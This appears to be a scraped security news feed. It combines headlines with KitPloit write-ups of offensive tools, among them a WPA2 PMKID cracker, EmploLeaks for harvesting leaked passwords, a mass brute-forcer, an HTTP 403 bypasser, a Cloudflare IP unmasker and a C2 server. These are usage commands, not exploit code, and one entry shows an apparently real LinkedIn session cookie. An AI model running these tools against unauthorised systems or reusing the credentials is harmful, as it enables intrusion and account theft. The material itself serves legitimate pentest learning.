The parallel field in the workflow configuration determines whether modules should be executed in parallel or sequentially. Setting parallel to true allows modules to run concurrently, making it suitable for modules with no dependencies. When set to false, modules will execute one after another.

Workflows

Explore a collection of sample workflows and examples in the Rayder workflows repository. Stay tuned for more additions!

Inspiration

Inspiration of this project comes from Awesome taskfile project.



☐ β˜† βœ‡ The Hacker News

52% of Serious Vulnerabilities We Find are Related to Windows 10

By: The Hacker News β€” January 22nd 2024 at 11:22
We analyzed 2,5 million vulnerabilities we discovered in our customer’s assets. This is what we found. Digging into the data The dataset we analyze here is representative of a subset of clients that subscribe to our vulnerability scanning services. Assets scanned include those reachable across the Internet, as well as those present on internal networks. The data includes findings for network
☐ β˜† βœ‡ KitPloit - PenTest Tools!

Pmkidcracker - A Tool To Crack WPA2 Passphrase With PMKID Value Without Clients Or De-Authentication

By: Zion3R β€” January 15th 2024 at 11:30


This program is a tool written in Python to recover the pre-shared key of a WPA2 WiFi network without any de-authentication or requiring any clients to be on the network. It targets the weakness of certain access points advertising the PMKID value in EAPOL message 1.


Program Usage

python pmkidcracker.py -s <SSID> -ap <APMAC> -c <CLIENTMAC> -p <PMKID> -w <WORDLIST> -t <THREADS(Optional)>

NOTE: apmac, clientmac, pmkid must be a hexstring, e.g b8621f50edd9

How PMKID is Calculated

The two main formulas to obtain a PMKID are as follows:

  1. Pairwise Master Key (PMK) Calculation: passphrase + salt(ssid) => PBKDF2(HMAC-SHA1) of 4096 iterations
  2. PMKID Calculation: HMAC-SHA1[pmk + ("PMK Name" + bssid + clientmac)]

This is just for understanding, both are already implemented in find_pw_chunk and calculate_pmkid.

Obtaining the PMKID

Below are the steps to obtain the PMKID manually by inspecting the packets in WireShark.

*You may use Hcxtools or Bettercap to quickly obtain the PMKID without the below steps. The manual way is for understanding.

To obtain the PMKID manually from wireshark, put your wireless antenna in monitor mode, start capturing all packets with airodump-ng or similar tools. Then connect to the AP using an invalid password to capture the EAPOL 1 handshake message. Follow the next 3 steps to obtain the fields needed for the arguments.

Open the pcap in WireShark:

  • Filter with wlan_rsna_eapol.keydes.msgnr == 1 in WireShark to display only EAPOL message 1 packets.
  • In EAPOL 1 pkt, Expand IEEE 802.11 QoS Data Field to obtain AP MAC, Client MAC
  • In EAPOL 1 pkt, Expand 802.1 Authentication > WPA Key Data > Tag: Vendor Specific > PMKID is below

If access point is vulnerable, you should see the PMKID value like the below screenshot:

Demo Run

Disclaimer

This tool is for educational and testing purposes only. Do not use it to exploit the vulnerability on any network that you do not own or have permission to test. The authors of this script are not responsible for any misuse or damage caused by its use.



☐ β˜† βœ‡ KitPloit - PenTest Tools!

EmploLeaks - An OSINT Tool That Helps Detect Members Of A Company With Leaked Credentials

By: Zion3R β€” January 12th 2024 at 11:30

Β 

This is a tool designed for Open Source Intelligence (OSINT) purposes, which helps to gather information about employees of a company.

How it Works

The tool starts by searching through LinkedIn to obtain a list of employees of the company. Then, it looks for their social network profiles to find their personal email addresses. Finally, it uses those email addresses to search through a custom COMB database to retrieve leaked passwords. You an easily add yours and connect to through the tool.


Installation

To use this tool, you'll need to have Python 3.10 installed on your machine. Clone this repository to your local machine and install the required dependencies using pip in the cli folder:

cd cli
pip install -r requirements.txt

OSX

We know that there is a problem when installing the tool due to the psycopg2 binary. If you run into this problem, you can solve it running:

cd cli
python3 -m pip install psycopg2-binary`

Basic Usage

To use the tool, simply run the following command:

python3 cli/emploleaks.py

If everything went well during the installation, you will be able to start using EmploLeaks:

___________              .__         .__                 __
\_ _____/ _____ ______ | | ____ | | ____ _____ | | __ ______
| __)_ / \____ \| | / _ \| | _/ __ \__ \ | |/ / / ___/
| \ Y Y \ |_> > |_( <_> ) |_\ ___/ / __ \| < \___ \
/_______ /__|_| / __/|____/\____/|____/\___ >____ /__|_ \/____ >
\/ \/|__| \/ \/ \/ \/

OSINT tool Γ°ΕΈβ€’Β΅ to chain multiple apis
emploleaks>

Right now, the tool supports two functionalities:

  • Linkedin, for searching all employees from a company and get their personal emails.
    • A GitLab extension, which is capable of finding personal code repositories from the employees.
  • If defined and connected, when the tool is gathering employees profiles, a search to a COMB database will be made in order to retrieve leaked passwords.

Retrieving Linkedin Profiles

First, you must set the plugin to use, which in this case is linkedin. After, you should set your authentication tokens and the run the impersonate process:

emploleaks> use --plugin linkedin
emploleaks(linkedin)> setopt JSESSIONID
JSESSIONID:
[+] Updating value successfull
emploleaks(linkedin)> setopt li-at
li-at:
[+] Updating value successfull
emploleaks(linkedin)> show options
Module options:

Name Current Setting Required Description
---------- ----------------------------------- ---------- -----------------------------------
hide yes no hide the JSESSIONID field
JSESSIONID ************************** no active cookie session in browser #1
li-at AQEDAQ74B0YEUS-_AAABilIFFBsAAAGKdhG no active cookie session in browser #1
YG00AxGP34jz1bRrgAcxkXm9RPNeYIAXz3M
cycrQm5FB6lJ-Tezn8GGAsnl_GRpEANRdPI
lWTRJJGF9vbv5yZHKOeze_WCHoOpe4ylvET
kyCyfN58SNNH
emploleaks(linkedin)> run i mpersonate
[+] Using cookies from the browser
Setting for first time JSESSIONID
Setting for first time li_at

li_at and JSESSIONID are the authentication cookies of your LinkedIn session on the browser. You can use the Web Developer Tools to get it, just sign-in normally at LinkedIn and press right click and Inspect, those cookies will be in the Storage tab.

Now that the module is configured, you can run it and start gathering information from the company:

Get Linkedin accounts + Leaked Passwords

We created a custom workflow, where with the information retrieved by Linkedin, we try to match employees' personal emails to potential leaked passwords. In this case, you can connect to a database (in our case we have a custom indexed COMB database) using the connect command, as it is shown below:

emploleaks(linkedin)> connect --user myuser --passwd mypass123 --dbname mydbname --host 1.2.3.4
[+] Connecting to the Leak Database...
[*] version: PostgreSQL 12.15

Once it's connected, you can run the workflow. With all the users gathered, the tool will try to search in the database if a leaked credential is affecting someone:

As a conclusion, the tool will generate a console output with the following information:
  • A list of employees of the company (obtained from LinkedIn)
  • The social network profiles associated with each employee (obtained from email address)
  • A list of leaked passwords associated with each email address.

How to build the indexed COMB database

An imortant aspect of this project is the use of the indexed COMB database, to build your version you need to download the torrent first. Be careful, because the files and the indexed version downloaded requires, at least, 400 GB of disk space available.

Once the torrent has been completelly downloaded you will get a file folder as following:

Ò”œÒ”€Ò”€ count_total.sh
Ò”œÒ”€Ò”€ data
Γ’β€β€š Ò”œÒ”€Ò”€ 0
Γ’β€β€š Ò”œÒ”€Ò”€ 1
Γ’β€β€š Γ’β€β€š Ò”œÒ”€Ò”€ 0
Γ’β€β€š Γ’β€β€š Ò”œÒ”€Ò”€ 1
Γ’β€β€š Γ’β€β€š Ò”œÒ”€Ò”€ 2
Γ’β€β€š Γ’β€β€š Ò”œÒ”€Ò”€ 3
Γ’β€β€š Γ’β€β€š Ò”œÒ”€Ò”€ 4
Γ’β€β€š Γ’β€β€š Ò”œÒ”€Ò&€ 5
Γ’β€β€š Γ’β€β€š Ò”œÒ”€Ò”€ 6
Γ’β€β€š Γ’β€β€š Ò”œÒ”€Ò”€ 7
Γ’β€β€š Γ’β€β€š Ò”œÒ”€Ò”€ 8
Γ’β€β€š Γ’β€β€š Ò”œÒ”€Ò”€ 9
Γ’β€β€š Γ’β€β€š Ò”œÒ”€Ò”€ a
Γ’β€β€š Γ’β€β€š Ò”œÒ”€Ò”€ b
Γ’β€β€š Γ’β€β€š Ò”œÒ”€Ò”€ c
Γ’β€β€š Γ’β€β€š Ò”œÒ”€Ò”€ d
Γ’β€β€š Γ’β€β€š Ò”œÒ”€Ò”€ e
Γ’β€β€š Γ’β€β€š Ò”œÒ”€Ò”€ f
Γ’β€β€š Γ’β€β€š Ò”œÒ”€Ò”€ g
Γ’β€β€š Γ’β€β€š Ò”œÒ”€Ò”€ h
Γ’β€β€š Γ’β€β€š Ò”œÒ”€Ò”€ i
Γ’β€β€š Γ’β€β€š Ò”œÒ”€Ò”€ j
Γ’β€β€š Γ’β€β€š Ò”œÒ”€Ò”€ k
Γ’β€β€š Γ’β€β€š Ò”œÒ”€Ò”€ l
Γ’β€β€š Γ’β€β€š Ò”œÒ”€Ò”€ m
Γ’β€β€š Γ’β€β€š Ò”œÒ €Ò”€ n
Γ’β€β€š Γ’β€β€š Ò”œÒ”€Ò”€ o
Γ’β€β€š Γ’β€β€š Ò”œÒ”€Ò”€ p
Γ’β€β€š Γ’β€β€š Ò”œÒ”€Ò”€ q
Γ’β€β€š Γ’β€β€š Ò”œÒ”€Ò”€ r
Γ’β€β€š Γ’β€β€š Ò”œÒ”€Ò”€ s
Γ’β€β€š Γ’β€β€š Ò”œÒ”€Ò”€ symbols
Γ’β€β€š Γ’β€β€š Ò”œÒ”€Ò”€ t

At this point, you could import all those files with the command create_db:

The importer takes a lot of time for that reason we recommend to run it with patience.

Next Steps

We are integrating other public sites and applications that may offer about a leaked credential. We may not be able to see the plaintext password, but it will give an insight if the user has any compromised credential:

  • Integration with Have I Been Pwned?
  • Integration with Firefox Monitor
  • Integration with Leak Check
  • Integration with BreachAlarm

Also, we will be focusing on gathering even more information from public sources of every employee. Do you have any idea in mind? Don't hesitate to reach us:

Or you con DM at @pastacls or @gaaabifranco on Twitter.



☐ β˜† βœ‡ KitPloit - PenTest Tools!

BestEdrOfTheMarket - Little AV/EDR Bypassing Lab For Training And Learning Purposes

By: Zion3R β€” December 27th 2023 at 11:30


Little AV/EDR Evasion Lab for training & learning purposes. (️ under construction..)​

 ____            _     _____ ____  ____     ___   __   _____ _
| __ ) ___ ___| |_ | ____| _ \| _ \ / _ \ / _| |_ _| |__ ___
| _ \ / _ \/ __| __| | _| | | | | |_) | | | | | |_ | | | '_ \ / _ \
| |_) | __/\__ \ |_ | |___| |_| | _ < | |_| | _| | | | | | | __/
|____/_\___||___/\__| |_____|____/|_| \_\ \___/|_| |_| |_| |_|\___|
| \/ | __ _ _ __| | _____| |_
| |\/| |/ _` | '__| |/ / _ \ __|
| | | | (_| | | | < __/ |_ Yazidou - github.com/Xacone
|_| |_|\__,_|_| |_|\_\___|\__|


BestEDROfTheMarket is a naive user-mode EDR (Endpoint Detection and Response) project, designed to serve as a testing ground for understanding and bypassing EDR's user-mode detection methods that are frequently used by these security solutions.
These techniques are mainly based on a dynamic analysis of the target process state (memory, API calls, etc.),

Feel free to check this short article I wrote that describe the interception and analysis methods implemented by the EDR.


Defensive Techniques

In progress:


Usage

        Usage: BestEdrOfTheMarket.exe [args]

/help Shows this help message and quit
/v Verbosity
/iat IAT hooking
/stack Threads call stack monitoring
/nt Inline Nt-level hooking
/k32 Inline Kernel32/Kernelbase hooking
/ssn SSN crushing
BestEdrOfTheMarket.exe /stack /v /k32
BestEdrOfTheMarket.exe /stack /nt
BestEdrOfTheMarket.exe /iat


☐ β˜† βœ‡ The Hacker News

Behind the Scenes of Matveev's Ransomware Empire: Tactics and Team

By: Newsroom β€” December 19th 2023 at 15:16
Cybersecurity researchers have shed light on the inner workings of the ransomware operation led by Mikhail Pavlovich Matveev, a Russian national who was&nbsp;indicted by the U.S. government&nbsp;earlier this year for his alleged role in launching thousands of attacks across the world. Matveev, who resides in Saint Petersburg and is known by the aliases Wazawaka, m1x, Boriselcin, Uhodiransomwar,
☐ β˜† βœ‡ KitPloit - PenTest Tools!

MacMaster - MAC Address Changer

By: Zion3R β€” December 18th 2023 at 11:30


MacMaster is a versatile command line tool designed to change the MAC address of network interfaces on your system. It provides a simple yet powerful solution for network anonymity and testing.

Features

  • Custom MAC Address: Set a specific MAC address to your network interface.
  • Random MAC Address: Generate and set a random MAC address.
  • Reset to Original: Reset the MAC address to its original hardware value.
  • Custom OUI: Set a custom Organizationally Unique Identifier (OUI) for the MAC address.
  • Version Information: Easily check the version of MacMaster you are using.

Installation

MacMaster requires Python 3.6 or later.

  1. Clone the repository:
    $ git clone https://github.com/HalilDeniz/MacMaster.git
  2. Navigate to the cloned directory:
    cd MacMaster
  3. Install the package:
    $ python setup.py install

Usage

$ macmaster --help         
usage: macmaster [-h] [--interface INTERFACE] [--version]
[--random | --newmac NEWMAC | --customoui CUSTOMOUI | --reset]

MacMaster: Mac Address Changer

options:
-h, --help show this help message and exit
--interface INTERFACE, -i INTERFACE
Network interface to change MAC address
--version, -V Show the version of the program
--random, -r Set a random MAC address
--newmac NEWMAC, -nm NEWMAC
Set a specific MAC address
--customoui CUSTOMOUI, -co CUSTOMOUI
Set a custom OUI for the MAC address
--reset, -rs Reset MAC address to the original value

Arguments

  • --interface, -i: Specify the network interface.
  • --random, -r: Set a random MAC address.
  • --newmac, -nm: Set a specific MAC address.
  • --customoui, -co: Set a custom OUI for the MAC address.
  • --reset, -rs: Reset MAC address to the original value.
  • --version, -V: Show the version of the program.
  1. Set a specific MAC address:
    $ macmaster.py -i eth0 -nm 00:11:22:33:44:55
  2. Set a random MAC address:
    $ macmaster.py -i eth0 -r
  3. Reset MAC address to its original value:
    $ macmaster.py -i eth0 -rs
  4. Set a custom OUI:
    $ macmaster.py -i eth0 -co 08:00:27
  5. Show program version:
    $ macmaster.py -V

Replace eth0 with your desired network interface.

Note

You must run this script as root or use sudo to run this script for it to work properly. This is because changing a MAC address requires root privileges.

Contributing

Contributions are welcome! To contribute to MacMaster, follow these steps:

  1. Fork the repository.
  2. Create a new branch for your feature or bug fix.
  3. Make your changes and commit them.
  4. Push your changes to your forked repository.
  5. Open a pull request in the main repository.

Contact

For any inquiries or further information, you can reach me through the following channels:

Contact



☐ β˜† βœ‡ The Hacker News

Reimagining Network Pentesting With Automation

By: The Hacker News β€” December 14th 2023 at 11:17
Network penetration testing plays a crucial role in protecting businesses in the ever-evolving world of cybersecurity. Yet, business leaders and IT pros have misconceptions about this process, which impacts their security posture and decision-making.&nbsp; This blog acts as a quick guide on network penetration testing, explaining what it is, debunking common myths and reimagining its role in
☐ β˜† βœ‡ The Hacker News

Reimagining Network Pentesting With Automation

By: The Hacker News β€” December 14th 2023 at 11:17
Network penetration testing plays a crucial role in protecting businesses in the ever-evolving world of cybersecurity. Yet, business leaders and IT pros have misconceptions about this process, which impacts their security posture and decision-making.&nbsp; This blog acts as a quick guide on network penetration testing, explaining what it is, debunking common myths and reimagining its role in
☐ β˜† βœ‡ KitPloit - PenTest Tools!

NetProbe - Network Probe

By: Zion3R β€” December 12th 2023 at 11:30


NetProbe is a tool you can use to scan for devices on your network. The program sends ARP requests to any IP address on your network and lists the IP addresses, MAC addresses, manufacturers, and device models of the responding devices.

Features

  • Scan for devices on a specified IP address or subnet
  • Display the IP address, MAC address, manufacturer, and device model of discovered devices
  • Live tracking of devices (optional)
  • Save scan results to a file (optional)
  • Filter by manufacturer (e.g., 'Apple') (optional)
  • Filter by IP range (e.g., '192.168.1.0/24') (optional)
  • Scan rate in seconds (default: 5) (optional)

Download

You can download the program from the GitHub page.

$ git clone https://github.com/HalilDeniz/NetProbe.git

Installation

To install the required libraries, run the following command:

$ pip install -r requirements.txt

Usage

To run the program, use the following command:

$ python3 netprobe.py [-h] -t  [...] -i  [...] [-l] [-o] [-m] [-r] [-s]
  • -h,--help: show this help message and exit
  • -t,--target: Target IP address or subnet (default: 192.168.1.0/24)
  • -i,--interface: Interface to use (default: None)
  • -l,--live: Enable live tracking of devices
  • -o,--output: Output file to save the results
  • -m,--manufacturer: Filter by manufacturer (e.g., 'Apple')
  • -r,--ip-range: Filter by IP range (e.g., '192.168.1.0/24')
  • -s,--scan-rate: Scan rate in seconds (default: 5)

Example:

$ python3 netprobe.py -t 192.168.1.0/24 -i eth0 -o results.txt -l

Help Menu

Scanner Tool options: -h, --help show this help message and exit -t [ ...], --target [ ...] Target IP address or subnet (default: 192.168.1.0/24) -i [ ...], --interface [ ...] Interface to use (default: None) -l, --live Enable live tracking of devices -o , --output Output file to save the results -m , --manufacturer Filter by manufacturer (e.g., 'Apple') -r , --ip-range Filter by IP range (e.g., '192.168.1.0/24') -s , --scan-rate Scan rate in seconds (default: 5) " dir="auto">
$ python3 netprobe.py --help                      
usage: netprobe.py [-h] -t [...] -i [...] [-l] [-o] [-m] [-r] [-s]

NetProbe: Network Scanner Tool

options:
-h, --help show this help message and exit
-t [ ...], --target [ ...]
Target IP address or subnet (default: 192.168.1.0/24)
-i [ ...], --interface [ ...]
Interface to use (default: None)
-l, --live Enable live tracking of devices
-o , --output Output file to save the results
-m , --manufacturer Filter by manufacturer (e.g., 'Apple')
-r , --ip-range Filter by IP range (e.g., '192.168.1.0/24')
-s , --scan-rate Scan rate in seconds (default: 5)

Default Scan

$ python3 netprobe.py 

Live Tracking

You can enable live tracking of devices on your network by using the -l or --live flag. This will continuously update the device list every 5 seconds.

$ python3 netprobe.py -t 192.168.1.0/24 -i eth0 -l

Save Results

You can save the scan results to a file by using the -o or --output flag followed by the desired output file name.

$ python3 netprobe.py -t 192.168.1.0/24 -i eth0 -l -o results.txt
┏━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ IP Address   ┃ MAC Address       ┃ Packet Size ┃ Manufacturer                 ┃
┑━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┩
β”‚ 192.168.1.1  β”‚ **:6e:**:97:**:28 β”‚ 102         β”‚ ASUSTek COMPUTER INC.        β”‚
β”‚ 192.168.1.3  β”‚ 00:**:22:**:12:** β”‚ 102         β”‚ InPro Comm                   β”‚
β”‚ 192.168.1.2  β”‚ **:32:**:bf:**:00 β”‚ 102         β”‚ Xiaomi Communications Co Ltd β”‚
β”‚ 192.168.1.98 β”‚ d4:**:64:**:5c:** β”‚ 102         β”‚ ASUSTek COMPUTER INC.        β”‚
β”‚ 192.168.1.25 β”‚ **:49:**:00:**:38 β”‚ 102         β”‚ Unknown                      β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

Contact

If you have any questions, suggestions, or feedback about the program, please feel free to reach out to me through any of the following platforms:

License

This program is released under the MIT LICENSE. See LICENSE for more information.



☐ β˜† βœ‡ KitPloit - PenTest Tools!

CloakQuest3r - Uncover The True IP Address Of Websites Safeguarded By Cloudflare

By: Zion3R β€” December 8th 2023 at 11:30


CloakQuest3r is a powerful Python tool meticulously crafted to uncover the true IP address of websites safeguarded by Cloudflare, a widely adopted web security and performance enhancement service. Its core mission is to accurately discern the actual IP address of web servers that are concealed behind Cloudflare's protective shield. Subdomain scanning is employed as a key technique in this pursuit. This tool is an invaluable resource for penetration testers, security professionals, and web administrators seeking to perform comprehensive security assessments and identify vulnerabilities that may be obscured by Cloudflare's security measures.


Key Features:

  • Real IP Detection: CloakQuest3r excels in the art of discovering the real IP address of web servers employing Cloudflare's services. This crucial information is paramount for conducting comprehensive penetration tests and ensuring the security of web assets.

  • Subdomain Scanning: Subdomain scanning is harnessed as a fundamental component in the process of finding the real IP address. It aids in the identification of the actual server responsible for hosting the website and its associated subdomains.

  • Threaded Scanning: To enhance efficiency and expedite the real IP detection process, CloakQuest3r utilizes threading. This feature enables scanning of a substantial list of subdomains without significantly extending the execution time.

  • Detailed Reporting: The tool provides comprehensive output, including the total number of subdomains scanned, the total number of subdomains found, and the time taken for the scan. Any real IP addresses unveiled during the process are also presented, facilitating in-depth analysis and penetration testing.

With CloakQuest3r, you can confidently evaluate website security, unveil hidden vulnerabilities, and secure your web assets by disclosing the true IP address concealed behind Cloudflare's protective layers.

Limitation

infrastructure and configurations can change over time. The tool may not capture these changes, potentially leading to outdated information. 3. Subdomain Variation: While the tool scans subdomains, it doesn't guarantee that all subdomains' A records will point to the primary host. Some subdomains may also be protected by Cloudflare. " dir="auto">
- Still in the development phase, sometimes it can't detect the real Ip.

- CloakQuest3r combines multiple indicators to uncover real IP addresses behind Cloudflare. While subdomain scanning is a part of the process, we do not assume that all subdomains' A records point to the target host. The tool is designed to provide valuable insights but may not work in every scenario. We welcome any specific suggestions for improvement.

1. False Negatives: CloakReveal3r may not always accurately identify the real IP address behind Cloudflare, particularly for websites with complex network configurations or strict security measures.

2. Dynamic Environments: Websites' infrastructure and configurations can change over time. The tool may not capture these changes, potentially leading to outdated information.

3. Subdomain Variation: While the tool scans subdomains, it doesn't guarantee that all subdomains' A records will point to the pri mary host. Some subdomains may also be protected by Cloudflare.

This tool is a Proof of Concept and is for Educational Purposes Only.

How to Use:

  1. Run CloudScan with a single command-line argument: the target domain you want to analyze.

     git clone https://github.com/spyboy-productions/CloakQuest3r.git
    cd CloakQuest3r
    pip3 install -r requirements.txt
    python cloakquest3r.py example.com
  2. The tool will check if the website is using Cloudflare. If not, it will inform you that subdomain scanning is unnecessary.

  3. If Cloudflare is detected, CloudScan will scan for subdomains and identify their real IP addresses.

  4. You will receive detailed output, including the number of subdomains scanned, the total number of subdomains found, and the time taken for the scan.

  5. Any real IP addresses found will be displayed, allowing you to conduct further analysis and penetration testing.

CloudScan simplifies the process of assessing website security by providing a clear, organized, and informative report. Use it to enhance your security assessments, identify potential vulnerabilities, and secure your web assets.

Run It Online:

Run it online on replit.com : https://replit.com/@spyb0y/CloakQuest3r



☐ β˜† βœ‡ The Hacker News

Ransomware-as-a-Service: The Growing Threat You Can't Ignore

By: The Hacker News β€” December 8th 2023 at 11:08
Ransomware attacks&nbsp;have become a significant and pervasive threat in the ever-evolving realm of cybersecurity. Among the various iterations of ransomware, one trend that has gained prominence is Ransomware-as-a-Service (RaaS). This alarming development has transformed the cybercrime landscape, enabling individuals with limited technical expertise to carry out devastating attacks.
☐ β˜† βœ‡ KitPloit - PenTest Tools!

Kali Linux 2023.4 - Penetration Testing and Ethical Hacking Linux Distribution

By: Zion3R β€” December 6th 2023 at 19:48

Time for another Kali Linux release! – Kali Linux 2023.4. This release has various impressive updates.


The summary of the changelog since the 2023.3 release from August is:

☐ β˜† βœ‡ KitPloit - PenTest Tools!

Mass-Bruter - Mass Bruteforce Network Protocols

By: Zion3R β€” November 26th 2023 at 11:30


Mass bruteforce network protocols

Info

Simple personal script to quickly mass bruteforce common services in a large scale of network.
It will check for default credentials on ftp, ssh, mysql, mssql...etc.
This was made for authorized red team penetration testing purpose only.


How it works

  1. Use masscan(faster than nmap) to find alive hosts with common ports from network segment.
  2. Parse ips and ports from masscan result.
  3. Craft and run hydra commands to automatically bruteforce supported network services on devices.

Requirements

  • Kali linux or any preferred linux distribution
  • Python 3.10+
# Clone the repo
git clone https://github.com/opabravo/mass-bruter
cd mass-bruter

# Install required tools for the script
apt update && apt install seclists masscan hydra

How To Use

Private ip range : 10.0.0.0/8, 192.168.0.0/16, 172.16.0.0/12

Save masscan results under ./result/masscan/, with the format masscan_<name>.<ext>

Ex: masscan_192.168.0.0-16.txt

Example command:

masscan -p 3306,1433,21,22,23,445,3389,5900,6379,27017,5432,5984,11211,9200,1521 172.16.0.0/12 | tee ./result/masscan/masscan_test.txt

Example Resume Command:

masscan --resume paused.conf | tee -a ./result/masscan/masscan_test.txt

Command Options

Bruteforce Script Options: -q, --quick Quick mode (Only brute telnet, ssh, ftp , mysql, mssql, postgres, oracle) -a, --all Brute all services(Very Slow) -s, --show Show result with successful login -f, --file-path PATH The directory or file that contains masscan result [default: ./result/masscan/] --help Show this message and exit." dir="auto">
β”Œβ”€β”€(rootγ‰Ώroot)-[~/mass-bruter]
└─# python3 mass_bruteforce.py
Usage: [OPTIONS]

Mass Bruteforce Script

Options:
-q, --quick Quick mode (Only brute telnet, ssh, ftp , mysql,
mssql, postgres, oracle)
-a, --all Brute all services(Very Slow)
-s, --show Show result with successful login
-f, --file-path PATH The directory or file that contains masscan result
[default: ./result/masscan/]
--help Show this message and exit.

Quick Bruteforce Example:

python3 mass_bruteforce.py -q -f ~/masscan_script.txt

Fetch cracked credentials:

python3 mass_bruteforce.py -s

Todo

  • Migrate with dpl4hydra
  • Optimize the code and functions
  • MultiProcessing

Any contributions are welcomed!



☐ β˜† βœ‡ The Hacker News

Why Defenders Should Embrace a Hacker Mindset

By: The Hacker News β€” November 20th 2023 at 11:02
Today’s security leaders must manage a constantly evolving attack surface and a dynamic threat environment due to interconnected devices, cloud services, IoT technologies, and hybrid work environments. Adversaries are constantly introducing new attack techniques, and not all companies have internal Red Teams or unlimited security resources to stay on top of the latest threats. On top of that,
☐ β˜† βœ‡ The Hacker News

The Importance of Continuous Security Monitoring for a Robust Cybersecurity Strategy

By: The Hacker News β€” November 14th 2023 at 11:56
In 2023, the global average cost of a data breach reachedΒ $4.45 million. Beyond the immediate financial loss, there are long-term consequences like diminished customer trust, weakened brand value, and derailed business operations. In a world where the frequency and cost of data breaches are skyrocketing, organizations are coming face-to-face with a harsh reality: traditional cybersecurity
☐ β˜† βœ‡ KitPloit - PenTest Tools!

Forbidden-Buster - A Tool Designed To Automate Various Techniques In Order To Bypass HTTP 401 And 403 Response Codes And Gain Access To Unauthorized Areas In The System

By: Zion3R β€” November 14th 2023 at 11:30


Forbidden Buster is a tool designed to automate various techniques in order to bypass HTTP 401 and 403 response codes and gain access to unauthorized areas in the system. This code is made for security enthusiasts and professionals only. Use it at your own risk.

  • Probes HTTP 401 and 403 response codes to discover potential bypass techniques.
  • Utilizes various methods and headers to test and bypass access controls.
  • Customizable through command-line arguments.

Install requirements

pip3 install -r requirements.txt

Run the script

python3 forbidden_buster.py -u http://example.com

Forbidden Buster accepts the following arguments:

fuzzing (stressful) --include-user-agent Include User-Agent fuzzing (stressful)" dir="auto">
  -h, --help            show this help message and exit
-u URL, --url URL Full path to be used
-m METHOD, --method METHOD
Method to be used. Default is GET
-H HEADER, --header HEADER
Add a custom header
-d DATA, --data DATA Add data to requset body. JSON is supported with escaping
-p PROXY, --proxy PROXY
Use Proxy
--rate-limit RATE_LIMIT
Rate limit (calls per second)
--include-unicode Include Unicode fuzzing (stressful)
--include-user-agent Include User-Agent fuzzing (stressful)

Example Usage:

python3 forbidden_buster.py --url "http://example.com/secret" --method POST --header "Authorization: Bearer XXX" --data '{\"key\":\"value\"}' --proxy "http://proxy.example.com" --rate-limit 5 --include-unicode --include-user-agent

  • Hacktricks - Special thanks for providing valuable techniques and insights used in this tool.
  • SecLists - Credit to danielmiessler's SecLists for providing the wordlists.
  • kaimi - Credit to kaimi's "Possible IP Bypass HTTP Headers" wordlist.


☐ β˜† βœ‡ The Hacker News

PentestPad: Platform for Pentest Teams

By: The Hacker News β€” October 31st 2023 at 11:21
In the ever-evolving cybersecurity landscape, the game-changers are those who adapt and innovate swiftly. Pen test solutions not only supercharge productivity but also provide a crucial layer of objectivity, ensuring efficiency and exceptional accuracy. The synergy between a skilled penetration tester and the precision of pen testing solutions are crucial for staying on top of today’s high
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PathFinder - Tool That Provides Information About A Website

By: Zion3R β€” October 26th 2023 at 11:30


Web Path Finder is a Python program that provides information about a website. It retrieves various details such as page title, last updated date, DNS information, subdomains, firewall names, technologies used, certificate information, and more.Β 


  • Retrieve important information about a website
  • Gain insights into the technologies used by a website
  • Identify subdomains and DNS information
  • Check firewall names and certificate details
  • Perform bypass operations for captcha and JavaScript content

  1. Clone the repository:

    git clone https://github.com/HalilDeniz/PathFinder.git
  2. Install the required packages:

    pip install -r requirements.txt

This will install all the required modules and their respective versions.

Run the program using the following command:

Ò”ŒÒ”€Ò”€(root💀denizhalil)-[~/MyProjects/]
Ò””Ò”€# python3 web-info-explorer.py --help
usage: wpathFinder.py [-h] url

Web Information Program

positional arguments:
url Enter the site URL

options:
-h, --help show this help message and exit

Replace <url> with the URL of the website you want to explore.

Here is an example output of running the program:

Ò”ŒÒ”€Ò”€(root💀denizhalil)-[~/MyProjects/]
Ò””Ò”€# python3 pathFinder.py https://www.facebook.com/
Site Information:
Title: Facebook - Login or Register
Last Updated Date: None
First Creation Date: 1997-03-29 05:00:00
Dns Information: []
Sub Branches: ['157']
Firewall Names: []
Technologies Used: javascript, php, css, html, react
Certificate Information:
Certificate Issuer: US
Certificate Start Date: 2023-02-07 00:00:00
Certificate Expiration Date: 2023-05-08 23:59:59
Certificate Validity Period (Days): 90
Bypassed JavaScript content:
</ div>

Contributions are welcome! To contribute to PathFinder, follow these steps:

  1. Fork the repository.
  2. Create a new branch for your feature or bug fix.
  3. Make your changes and commit them.
  4. Push your changes to your forked repository.
  5. Open a pull request in the main repository.

  • Thank you my friend Varol

This project is licensed under the MIT License - see the LICENSE file for details.

For any inquiries or further information, you can reach me through the following channels:



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Commander - A Command And Control (C2) Server

By: Zion3R β€” October 20th 2023 at 21:31


Commander is a command and control framework (C2) written in Python, Flask and SQLite. ItΒ comes with two agents written in Python and C.

Under Continuous Development

Not script-kiddie friendly


Features

  • Fully encrypted communication (TLS)
  • Multiple Agents
  • Obfuscation
  • Interactive Sessions
  • Scalable
  • Base64 data encoding
  • RESTful API

Agents

  • Python 3
    • The python agent supports:
      • sessions, an interactive shell between the admin and the agent (like ssh)
      • obfuscation
      • Both Windows and Linux systems
      • download/upload files functionality
  • C
    • The C agent supports only the basic functionality for now, the control of tasks for the agents
    • Only for Linux systems

Requirements

Python >= 3.6 is required to run and the following dependencies

Linux for the admin.py and c2_server.py. (Untested for windows)
apt install libcurl4-openssl-dev libb64-dev
apt install openssl
pip3 install -r requirements.txt

How to Use it

First create the required certs and keys

# if you want to secure your key with a passphrase exclude the -nodes
openssl req -x509 -newkey rsa:4096 -keyout server.key -out server.crt -days 365 -nodes

Start the admin.py module first in order to create a local sqlite db file

python3 admin.py

Continue by running the server

python3 c2_server.py

